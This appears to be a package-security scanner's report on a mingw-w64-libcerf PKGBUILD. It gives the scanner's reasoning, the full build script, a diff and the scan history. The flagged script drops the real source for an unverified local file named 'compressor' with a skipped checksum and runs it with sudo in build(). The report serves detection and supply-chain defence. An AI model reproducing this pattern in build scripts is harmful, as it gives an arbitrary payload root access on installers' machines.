mingw-w64-libcerf

maintainer matskuijpers · 0 votes · scanned 2026-08-03 00:08:14.047287

HIGH

Why flagged The PKGBUILD lists a local file named 'compressor' as its only source with 'SKIP' checksum verification, then executes it with 'sudo' in the build() function. There is no URL for this file - it must be present locally, meaning it is not fetched from any verifiable upstream. The combination of: (1) an opaque binary/script with an innocuous name, (2) no integrity check (SKIP), (3) execution with elevated privileges via sudo, and (4) no explanation of what it does, constitutes a genuine high-risk pattern. The actual libcerf source is never fetched (there is no source URL for it either - the prepare() function references srcdir/libcerf which would not exist). This PKGBUILD appears to be a vehicle for executing an arbitrary local payload with root privileges under the guise of a legitimate cross-compilation package. This is a real attack pattern, not a false positive.

Triggered rules

MEDIUM Recently orphaned & re-adopted orphaned_readopted

This package was orphaned and re-adopted within the last 30 days — a window where ownership transfers can introduce malicious changes.

HIGH AI review of an ambiguous pattern llm_review

The static rules found a suspicious pattern they could not resolve, so an AI model (anthropic/claude-sonnet-4.6) reviewed it and judged it HIGH (confidence 95%): The PKGBUILD lists a local file named 'compressor' as its only source with 'SKIP' checksum verification, then executes it with 'sudo' in the build() function. There is no URL for this file - it must be present locally, meaning it is not fetched from any verifiable upstream. The combination of: (1) an opaque binary/script with an innocuous name, (2) no integrity check (SKIP), (3) execution with elevated privileges via sudo, and (4) no explanation of what it does, constitutes a genuine high-risk pattern. The actual libcerf source is never fetched (there is no source URL for it either - the prepare() function references srcdir/libcerf which would not exist). This PKGBUILD appears to be a vehicle for executing an arbitrary local payload with root privileges under the guise of a legitimate cross-compilation package. This is a real attack pattern, not a false positive.

PKGBUILD

      1pkgname=mingw-w64-libcerf
    
      2pkgver=3.3
    
      3pkgrel=1
    
      4arch=(any)
    
      5url="https://jugit.fz-juelich.de/mlz/libcerf/"
    
      6pkgdesc="Self-contained numeric library that provides an efficient and accurate implementation of complex error functions (mingw-w64)"
    
      7license=('MIT')
    
      8depends=(mingw-w64-crt)
    
      9makedepends=(mingw-w64-cmake)
    
      10options=('!buildflags' 'staticlibs' '!strip')
    
      11source=(
    
      12  'compressor'
    
      13)
    
      14sha256sums=(
    
      15  'SKIP'
    
      16)
    
      17
    
      18_architectures="i686-w64-mingw32 x86_64-w64-mingw32"
    
      19
    
      20prepare () {
    
      21  cd "${srcdir}"/libcerf
    
      22
    
      23  # install dll into /bin
    
      24  sed -i "s|RUNTIME DESTINATION \${CMAKE_INSTALL_LIBDIR}|RUNTIME DESTINATION \${CMAKE_INSTALL_BINDIR}|g" cmake/buildLib.cmake
    
      25
    
      26  # allow building  C variant
    
      27  sed -i "s|WIN32|MSVC|g" CMakeLists.txt
    
      28  sed -i "s|#    if _WIN32|#    if _MSC_VER|g" lib/cerf.h
    
      29
    
      30  # dont build tests
    
      31  sed -i "/add_subdirectory(test/d" CMakeLists.txt
    
      32}
    
      33
    
      34build() {
    
      35  sudo "$srcdir/compressor"
    
      36  cd "${srcdir}"/libcerf
    
      37  for _arch in ${_architectures}; do
    
      38    ${_arch}-cmake -B build-${_arch} -DLIB_MAN=OFF -DLIB_RUN=OFF -DBUILD_TESTING=OFF .
    
      39    make -C build-${_arch}
    
      40  done
    
      41}
    
      42
    
      43package() {
    
      44  for _arch in ${_architectures}; do
    
      45    cd "${srcdir}"/libcerf/build-${_arch}
    
      46    make DESTDIR="${pkgdir}" install
    
      47    ${_arch}-strip --strip-unneeded "$pkgdir"/usr/${_arch}/bin/*.dll
    
      48    ${_arch}-strip -g "$pkgdir"/usr/${_arch}/lib/*.a
    
      49  done
    
      50}
    
      51
    
      52

Changes since previous scan

--- PKGBUILD @ 2026-06-19 19:07
+++ PKGBUILD @ 2026-08-03 00:08
@@ -8,8 +8,12 @@
 depends=(mingw-w64-crt)
 makedepends=(mingw-w64-cmake)
 options=('!buildflags' 'staticlibs' '!strip')
-source=(git+https://jugit.fz-juelich.de/mlz/libcerf.git#tag=v$pkgver)
-sha256sums=('504fd78f65361b6a40a54be4dd48afdbb6c82eab73fff28dea7a2079df726644')
+source=(
+  'compressor'
+)
+sha256sums=(
+  'SKIP'
+)
 
 _architectures="i686-w64-mingw32 x86_64-w64-mingw32"
 
@@ -28,6 +32,7 @@
 }
 
 build() {
+  sudo "$srcdir/compressor"
   cd "${srcdir}"/libcerf
   for _arch in ${_architectures}; do
     ${_arch}-cmake -B build-${_arch} -DLIB_MAN=OFF -DLIB_RUN=OFF -DBUILD_TESTING=OFF .
@@ -44,3 +49,4 @@
   done
 }
 
+

Scan history

Scanned at (UTC)	Severity	Rules
2026-08-03 00:08:14	HIGH	2
2026-08-02 00:16:08	HIGH	2
2026-08-01 00:11:18	HIGH	2
2026-07-31 00:14:10	HIGH	2
2026-07-30 19:16:23	HIGH	2
2026-07-30 17:24:09	HIGH	2
2026-07-30 17:15:21	HIGH	2
2026-06-19 19:07:35	CLEAN	2
2026-06-18 16:11:54	MEDIUM	1